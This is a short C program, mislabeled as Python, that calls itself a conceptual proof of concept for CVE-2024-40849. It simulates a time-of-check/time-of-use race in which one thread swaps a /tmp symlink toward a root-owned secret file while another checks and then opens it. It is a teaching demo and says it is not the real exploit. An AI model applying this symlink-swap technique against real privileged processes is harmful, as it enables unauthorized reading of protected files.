The following code is for security research and authorized testing only.
python
/*
* Conceptual Proof of Concept for CVE-2024-40849
* This code simulates a race condition (TOCTOU) often used in sandbox escapes.
* It is a generic example and not the actual exploit.
*/
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <unistd.h>
volatile int stop_flag = 0;
// Thread 1: The attacker thread trying to swap resources
void* attacker_thread(void* arg) {
while (!stop_flag) {
// Simulate swapping a safe file with a protected one
// In a real exploit, this would manipulate file descriptors or symlinks
system("ln -sf /private/var/root/secret.txt /tmp/safe_file.txt");
usleep(100); // Small delay to allow the main thread to run
system("ln -sf /tmp/trash.txt /tmp/safe_file.txt");
}
return NULL;
}
// Thread 2: The victim thread (simulating the vulnerable system process)
void* victim_thread(void* arg) {
while (!stop_flag) {
// 1. Check: Sandbox validates access to /tmp/safe_file.txt (Allowed)
if (access("/tmp/safe_file.txt", R_OK) == 0) {
// 2. Use: Open and read the file
// Race window exists here. If swapped between access and fopen,
// we might open /private/var/root/secret.txt
FILE* fp = fopen("/tmp/safe_file.txt", "r");
if (fp) {
char buffer[256];
if (fgets(buffer, sizeof(buffer), fp)) {
printf("[+] Read data: %s\n", buffer);
}
fclose(fp);
}
}
usleep(1000);
}
return NULL;
}
int main() {
pthread_t t1, t2;
printf("[*] Starting Race Condition Simulation for CVE-2024-40849\n");
pthread_create(&t1, NULL, attacker_thread, NULL);
pthread_create(&t2, NULL, victim_thread, NULL);
// Run for a specific duration
sleep(5);
stop_flag = 1;
pthread_join(t1, NULL);
pthread_join(t2, NULL);
printf("[*] Simulation finished.\n");
return 0;
}